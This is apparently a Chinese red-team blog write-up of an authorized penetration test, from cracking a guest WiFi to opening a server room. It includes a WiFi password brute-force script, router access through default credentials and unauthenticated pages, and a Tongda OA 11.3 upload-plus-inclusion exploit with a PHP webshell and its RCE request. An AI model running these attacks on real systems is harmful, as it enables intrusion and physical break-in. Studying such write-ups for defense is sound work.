查看原文
其他

从访客网络到潜入机房

雪狼别动队 酒仙桥六号部队 2022-04-25

这是 酒仙桥六号部队 的第 141 篇文章。

全文共计7917个字,预计阅读时长20分钟


前言

在一次项目中,客户需求是在完全黑盒的情况下进行渗透测试,目标是内网某台物理隔离核心系统,由此就展开了我们接下来的测试行动。


正文

访客WIFI

那是一个阳光明媚的早上,我背着我的小书包来到客户楼下,掏出我的设备,准备开始工作。

在日常项目中,除了正常的Web资产探测之外,我们也应该合理的利用各类无线网络、物理接口、智能设备的安全缺陷进行近源渗透测试,因此到达目标楼下后,我首先搜索了一下周围的WIFI,果然发现了以目标简称开头的两个热点。

通过测试发现,GUEST热点是普通的密码验证,而Tech热点则无需密码验证,再连接后会自动弹出登录认证页面。

这里我的思路分别是这样的。

WIFI认证方式思路
GUEST密码暴力破解WIFI连接密码
Tech二次登录验证暴力破解用户名密码

这里感觉如果能拿下Tech热点可能会对我们之后的测试过程更有帮助,因此我首先对Tech的热点登陆页面进行了暴力破解,以姓名拼音字典做用户名,弱密码字典为弱口令进行暴力破解。

遗憾的是这里虽然没有对暴力破解进行限制,但是我并没有通过用户名字典和弱口令字典撞库得出想要的结果,所以接下来又重新看了一下GUEST对应的热点,通过名称可以大致推断这应该是一个访客网络。

一般这种场景下为了方便用户使用,密码应该不会设置过于复杂,这里由于我没有带外接网卡,Kali又在虚拟机中,因此我们可以通过形如pywifi的库进行破解连接密码,我们在构造字典的时候,例如目标客服电话、目标简称加数字等等格式都是有极大可能作为密码的,因此我们也要加载到我们的字典中。

from pywifi import const, PyWiFi, Profileimport time
# wifi类class wifi(object): def __init__(self): self.wifi = PyWiFi() #创建一个无线对象 self.interfaces = self.wifi.interfaces() #获取无线网卡接口 self.iface = self.interfaces[0] #获取第一个无线网卡接口
# 获取无线网卡接口 def get_wifi_interfaces(self): num = len(self.interfaces) if num <= 0: print(u'未找到无线网卡接口!\n') exit() if num == 1: print(u'无线网卡接口: %s\n' % (self.iface.name())) return self.iface else: print('%-4s %s\n'%(u'序号',u'网卡接口名称')) for i, w in enumerate(self.interfaces): print('%-4s %s' % (i, w.name())) while True: iface_no = input('请选择网卡接口序号:'.decode('utf-8').encode('gbk')) no = int(iface_no) if no >= 0 and no < num: return self.interfaces[no]
# 查看无线网卡是否处于连接状态 def check_interfaces(self): if self.iface.status() in [const.IFACE_CONNECTED, const.IFACE_CONNECTING]: print('无线网卡:%s 已连接。' % self.iface.name()) else: print('无线网卡:%s 未连接。' % self.iface.name())
# 扫描周围wifi def scan_wifi(self): self.iface.scan() #扫描周围wifi time.sleep(1) #不缓冲显示不出来 result = self.iface.scan_results() #获取扫描结果,wifi可能会有重复 has = [] #初始化已扫描到的wifi wifi_list = [] #初始化扫描结果 for i in result: if i not in has: #若has中没有该wifi,则 has.append(i) #添加到has列表 if i.signal > -90: #信号强度<-90的wifi几乎连不上 wifi_list.append((i.ssid, i.signal)) #添加到wifi列表 print('wifi信号强度:{0},名称:{1}。'.format(i.signal, i.ssid))#输出wifi名称 return sorted(wifi_list, key=lambda x:x[1], reverse=True) #按信号强度由高到低排序
# 连接wifi def connect_wifi(self, wifi_name, wifi_password): self.iface.disconnect() #断开无线网卡连接 time.sleep(1) #缓冲1秒 profile_info = Profile() #wifi配置文件 profile_info.ssid = wifi_name #wifi名称 profile_info.auth = const.AUTH_ALG_OPEN #需要密码 profile_info.akm.append(const.AKM_TYPE_WPA2PSK) #加密类型 profile_info.cipher = const.CIPHER_TYPE_CCMP #加密单元 profile_info.key = wifi_password #wifi密码 self.iface.remove_all_network_profiles() #删除其他配置文件 tmp_profile = self.iface.add_network_profile(profile_info) #加载配置文件 self.iface.connect(tmp_profile) #连接 #尝试5秒是否能成功连接(时间过短可能会导致正确密码尚未连接成功) time.sleep(5) if self.iface.status() == const.IFACE_CONNECTED: print('\n==========================================================================') print('wifi:{0}连接成功,密码:{1}'.format(wifi_name, wifi_password), end='') print('==========================================================================\n') return True else: print('密码错误:{0}'.format(wifi_password), end='') return False
# 断开无线网卡已连接状态 def disconnect_wifi(self): self.iface.disconnect() if self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]: print('无线网卡:%s 已断开。' % self.iface.name()) else: print('无线网卡:%s 未断开。' % self.iface.name())
if __name__ == '__main__': sf = ['Y', 'y', 'N', 'n'] dian = input('是否需要手动点击破解下一个wifi热点(Y/N)?').strip() wifi = wifi() #实例化wifi类 wifi.get_wifi_interfaces() #获取网卡接口 wifi.check_interfaces() #检测网卡连接状态 print('\n正在扫描wifi热点...') wifiList = wifi.scan_wifi() #扫描周围wifi print('\n正在破解,时间较长,请耐心等待...') #所有破解成功的wifi名称及密码 user_pwd = [] # 只能单线程破解,因为只有一个无线网卡,不能同时连接多个wifi热点 for i in wifiList: print('正在破解%s,请耐心等待...' % i[0]) start = time.time() with open(r'1800常用弱口令字典.txt', 'r') as f: for password in f: try: result = wifi.connect_wifi(i[0], password) #尝试连接wifi if result == True: #若找到密码,则跳出,避免继续查找 user_pwd.append((i[0], password)) #保存破解成功的wifi及密码 break except: continue end = time.time() shi = end - start print('破解耗时:%s秒。' % shi) if dian == 'Y' or dian == 'y': xia = input('是否继续破解(Y/N)?').strip() while xia not in sf: print('输入错误,请重新输入!') xia = input('是否继续破解(Y/N)?') if xia == 'Y' or xia == 'y': continue else: break print('\n==========================================================================') print('最终统计结果为:') with open(r'c:/users/administrator/desktop/wifi.txt', 'a') as pwd: for p in user_pwd: pwd.write('wifi热点:%s,密码:%s' % (p[0], p[1])) print(('wifi热点:%s,密码:%s' % (p[0], p[1])), end='') print('==========================================================================\n') wifi.disconnect_wifi()

幸运的是,这里我通过一段时间的等待,终于拿到了GUEST的连接密码。

这里连接上GUEST后,我与目标的距离终于是更近了一步,但是GUEST所在的网络显然只是连入了互联网,我们想要得到更多的结果还是要拿下刚才的Tech才行,一般企业无线架构中,这些AP会有自己的管理页面,通过探测相应的web端口,我发现了一个路由管理网页。

接下来就是通过万能的搜索引擎,寻找相应的配置文档,看看是否有相应的默认账户及口令。

幸运的是,我通过文档中的默认账号及密码,成功登入了相应的WEB界面。

接下来我通过Device来查看接入设备的地址,看看是不是有新的可以达到的网络地址进行进一步的测试。

我们可以看到在172.16.*.*有部分设备接入,那么这些网段中除了连入的员工使用的设备,还会存在什么呢?在回答这个问题之前,先说个题外话,在测试过程中,我发现Rucks 7341竟然存在着一个命令执行的漏洞  : )。

无线软路由未授权访问

我们从上面已经得到了172.16.*.*的新的网段,接下来我又对这个区段进行了WEB端口的存活性探测,发现了一个路由管理界面。

这里尝试弱口令以及爆破都没有得到相应的结果,但是目前我们资产收集也没有新的收获,只能寄希望于这里能存在一些可以利用的漏洞了,经过不断的测试以及配置文档的搜索,我发现这里存在着未授权访问的漏洞,通过直接访问/webfig地址就可以直接进入系统面板而无需进行登录,由此,我们顺利的绕过了登录验证的过程。

这里提示是一共有4Interface,这里我注意到了一个新的VLAN,对应的nameoffice,并且我通过ARP看到了他所在的IP区段是172.16.200.*

但是通过测试,我目前所在的GUEST网段与172.16.200.*是无法连通的,所以想要进一步探测office里面有什么,就要想办法让自己连接过去,于是我继续看看这个路由都有什么功能,看看是不是可以有新的发现。

TechWIFI

在看到Hotspot时,存在以下界面。

点击相应的user会进入如下界面。

这里由于对设备不是很熟悉,不太清楚账号和密码是什么意思,只能大致推断,上面我们发现的Interface一共有如下四项。

  • lan

  • net

  • office

  • wan

这里的profile对应写的是net,那会不会我们用这个账号密码连接Tech热点时就可以访问net相应的区段呢?因为我对office更感兴趣,因此我找到了一个profileoffice的账号密码进行了登录测试,成功通过了Tech的验证,并且成功与172.16.200.*网段连通。

通达OA

经过对172.16.200.*的测试,找到了一个OA系统,版本为通达OA 11.3

该版本不仅存在任意用户登录的问题,还存在一个任意文件上传可以导致RCE的漏洞,我们首先本地分析一下这个漏洞,下载好源码先用Zend解密工具解密一下源码,首先看ispirit/im/upload.php

源码中的auth.php是用来检验登录验证的源码。

我们可以看到代码第5行有一个判断语句,如果POST请求中P非空的情况下,代码会将session设置成P参数的值,否则就会对session中的LOGIN_USER_ID以及LOGIN_UID进行验证,检验失败则会提示用户未登陆并退出,所以我们可以构造P参数就可以绕过登录验证,那么我们利用这里就可以在未登录的情况下直接进行文件上传,正常情况下我们访问upload.php

当我们构造$P之后。

这里我们就已经绕过了身份检验的过程,接下来就是构造文件上传,我们接着看下面的代码。

其中的POST参数中的DEST_UID也会进行校验,值如果不是整型的话就会提示接收方ID无效,我们构造DEST_UID再试一次。

接下来我们构造相应的文件上传即可,接着向下看到文件上传的变量名是ATTACHMENT,我们看到52行调用了upload函数。

相关代码在inc\utility_file.php,进行了后缀名的限制。

我们接下来构造文件上传。

上传成功,这里虽然可以通过php.的方法上传php文件,但是上传之后文件位置为attach目录下,并不在根目录,而且文件前被自动加上了随机数,我们无法得知相应的文件名,因此无法直接利用。

我们再接着向下看,

120行输出的databack里面有CONTENT,而这个变量包含了文件名,所以我们直接POST即可对UPLOAD_MODEMSG_CATE赋值,通过UPLOAD_MODE1的方法就可以解决文件名的问题,我们需要解决文件目录的问题了,这里无法通过../进行路径穿越,所以我们需要寻找一下文件包含的点,接下来我们来看ispirit\interface\gateway.php

其中url参数中含有general/ispirit/module/之一,那么就include_once变量url中的值,即可包含任意文件,分析完成后,我们开始进行利用,首先编写我们中途利用到的木马1.jpg

<?php$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!"); $exec=$phpwsh->exec("cmd.exe /c ".$_POST['cmd'].""); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput;?>

再构造如下界面进行上传。

<html><head></head><body> <form method="POST" action="http://172.16.200.153/ispirit/im/upload.php" enctype="multipart/form-data"> <input type="text"name='P' value = 1 ></input> <input type="text"name='MSG_CATE' value = 'file'></input> <input type="text"name='UPLOAD_MODE' value = 1 ></input> <input type="text" name="DEST_UID" value = 1></input> <input type="file" name="ATTACHMENT"></input> <input type="submit" ></input> </form></body></html>

然后将我们的木马上传上去。

得到了我们相应的文件位置attach/im/2011/820599126.1.jpg,之后利用gateway.php进行文件包含,并利用如下语句进行RCE

json={"url":"/general/../../attach/im/2011/820599126.1.jpg"}&cmd=dir

而且权限是system

之后就是常规操作,拿下服务器。

门禁系统

在拿下OA服务器这个小倒霉蛋之后,就是常规内网扫了一下整个B段开启3389的机器,然后用刚才抓取的密码进行了碰撞,尝试是否有密码复用的情况,在碰撞过程中,扫到了一台门禁系统的服务器,并且成功用域账户进行了登录,由于前面扫描资产存活的时候,为了速度,脚本里面只添加了几个常用的80443这些端口,这个8088端口提供服务的门禁系统也就成了漏网之鱼,在服务器上看到这个系统之后,首先还是进行了访问,登录界面还是需要账户密码验证,但是这里我已经登上服务器了还怕没有密码?从配置文件中找到系统的数据库连接密码后连接数据库,直接查看了admin账户对应的密码。

登录到系统上一看,是一个门禁系统。

这里为什么要提一下这个门禁系统呢,因为这个门禁系统不仅可以实时监控各个考勤机的状态,甚至还能远程开关门。

至此,我已经能随意在这座大厦的任何一个房间自由出入了。

靶标

因为文章刚开始也说了,这次的靶标是物理隔离的,因此我必须找到相应机房的交换机,然后把自己的设备用网线连接上去,之后才能继续测试,在上面拿下门禁系统后,我已经可以自由的打开相应服务器所在机房的大门,也是终于从访客WIFI终于肉身接触到靶标所在的服务器了,插好网线,配好IP,我已经是可以直通靶标的一员了。

但是由于是目标最核心系统,因此是不仅WEB端需要账号密码认证,还需要有动态密码才能进行登录,因此放弃了直接通过WEB端开始入手的想法,测试了好久也没什么进展。

正在我一筹莫展的时候,我转念一想,在这种核心物理隔离,又不与外网连通的地方,入侵者入侵起来麻烦,运维师傅维护起来估计也不容易,想必也不经常打补丁,先探测探测整个C段的端口,看看有没有能直接利用的主机漏洞或者其他端口上的WEB服务来曲线救国的。

扫描结束后,我惊奇的发现我们的靶标,竟然开放了445端口。

这幸福来的也太突然了。

至此,我的从访客网络到潜入机房的行动彻底收工!


参考文档

  1. https://mp.weixin.qq.com/s/dmXYxqFWGFl3ZnXOwZ-nlQ

  2. https://wenku.baidu.com/view/52b236f8f705cc175527096f.html


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存